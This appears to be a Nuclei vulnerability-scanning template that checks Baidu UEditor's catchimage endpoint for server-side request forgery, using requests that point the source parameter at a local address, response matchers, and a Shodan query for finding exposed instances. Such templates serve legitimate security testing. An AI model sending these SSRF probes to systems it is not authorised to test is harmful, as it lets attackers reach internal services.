id: ueditor-ssrf

info:
  name: UEditor - Server Side Request Forgery
  author: pwnhxl
  severity: medium
  description: UEditor contains an Server Side Request Forgery vulnerability.
  reference:
    - https://xz.aliyun.com/t/4154
    - https://www.seebug.org/vuldb/ssvid-97311
  classification:
    cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: baidu
    product: ueditor
    shodan-query: html:"UEditor"
  tags: ueditor,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
      - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u94fe\u63a5\u4e0d\u53ef\u7528'
          - '"original":'
          - '"SUCCESS"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d2c966bcb7da4a7c6a6baa1a4a14df253acaf3bd7a4ea7d9988281d57fd253a3022027f186b08b83b625c730448b935e8aaefa93cd23bc66f6c29d21379573929e05:922c64590222798bb761d5b6d8e72950